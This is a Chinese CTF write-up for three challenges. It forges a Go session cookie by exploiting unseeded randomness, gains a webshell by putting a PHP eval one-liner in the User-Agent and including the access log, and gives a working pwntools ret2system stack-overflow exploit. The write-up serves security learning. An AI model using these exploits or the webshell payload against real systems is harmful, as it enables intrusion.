Web
Checkin_Go
这题还真是够 checkin 的。。。
首先注意到,在main.go 这里,Go中的 randomChar 并没有设定随机种子,所以实际上是伪随机,程序开始时的 cookie.NewStore(randomChar(16))
其实是固定的。
在 loginGetHandler 这里,注意到有一句 hsh := hashProof()
,实际上是在此设定了登录所需的 hash。同时,我们再来看这个代码
func hashProof() string {
hsh := md5.New()
hsh.Write(randomChar(6))
return fmt.Sprintf("%x", hsh.Sum(nil))[:6]
}
这里也是没有设定随机种子的,这就意味着我们可以对其进行猜测。比如网站给出的前缀是 8240ba
,我们可以写这样一个小程序来碰撞。此处输出的是十六进制的字符串,我们在post的时候要注意把字符串进行 urlencode ,这里使用 %隔两个填充一次即可。
hsh := md5.New()
for {
hsh.Reset()
str := randomChar(6)
hsh.Write(str)
hash1 := fmt.Sprintf("%x", hsh.Sum(nil))
if hash2 := hash1[:6]; hash2 == "8240ba" {
fmt.Printf("%x", str)
break
}
}
注意,在 auth := r.Group("/auth/",hashProofRequired())
中有个判断,
if md5Hash(c.PostForm("hsh"))[:6] != hsh {
fmt.Println(hsh)
c.String(200, "wrong hash")
c.Abort()
}
我们要post的是hsh的原文而不是md5加密后的,所以我们上面才要进行urlencode。
这里并没有进行登录账号密码验证,但是限制非admin的验证,所以我们先随意用户登录。
if uname == "admin"{
c.String(200,"noon,you cant be admin")
return
}
if uname == "" || pwd == "" {
c.String(200, "empty parameter")
return
}
登录完成后会跳转到 /game ,同时我们在 guess.go/start()
中将会获得flag以及player的money,并会写入到 cookie: o
中。
这里提供了 /add 来添加钱,不过实际上我们并不需要用到这个钱,而且这个钱是加在flag上的,很明显flag的钱够多了,我们不需要加在flag上。而且其中有一个 check 来检查,我们似乎无法直接修改其金钱。但是我们可以自己构造一个小程序,把 playerMoney 和 NowMoney 调换一下。
r := gin.Default()
storage := cookie.NewStore(randomChar(16))
r.Use(sessions.Sessions("o", storage))
r.GET("/", func(c *gin.Context) {
s := sessions.Default(c)
s.Set("uname", "admin")
checkPlayerMoney := s.Get("checkPlayerMoney")
checkNowMoney := s.Get("checkNowMoney")
s.Set("checkNowMoney", checkPlayerMoney)
s.Set("checkPlayerMoney", checkNowMoney)
playerMoney := s.Get("playerMoney")
nowMoney := s.Get("nowMoney")
s.Set("nowMoney", playerMoney)
s.Set("playerMoney", nowMoney)
s.Save()
})
r.Run("0.0.0.0:8081")
然后拿到返回的 cookie,再传给线上环境,访问 /game 并购买 flag 得到 flag。
only4
我估计这题是个非预期解,,,
这题本质是想让你走反序列化的,但是拿到 webshell 以后上去一看,好家伙 serialize.php 这文件名谁能猜得出来?
include($gwht);
中存在文件引用,
在 /var/www/example.com/log/access.log 中,或者 /proc/self/fd/8 可以获得访问日志,然后 User-Agent 改为 <?php eval($_POST[0]); ?>
即可实现一句话木马拿到 webshell 。flag 在根目录。
PWN
BabyRop
checksec检查文件保护;运行一下文件
32位程序,开启NX保护
IDA分析文件:
进入Go函数:
存在栈溢出漏洞。
寻找system函数和‘sh’字符串
还需要知道栈长度,可以IDA查看
exp思路
填充字符造成栈溢出后用system函数覆盖ret,字符串‘sh’作为参数,从而getshell
exp:
from pwn import *
#p = process('./BabyRop')
p = remote('192.168.40.187',11000)
system_addr = 0x080490A0
sh_addr = 0x0804c029
payload = b'a' * 44 + p32(system_addr) + p32(0xdeadbeef) + p32(sh_addr)
p.sendline(payload)
p.interactive()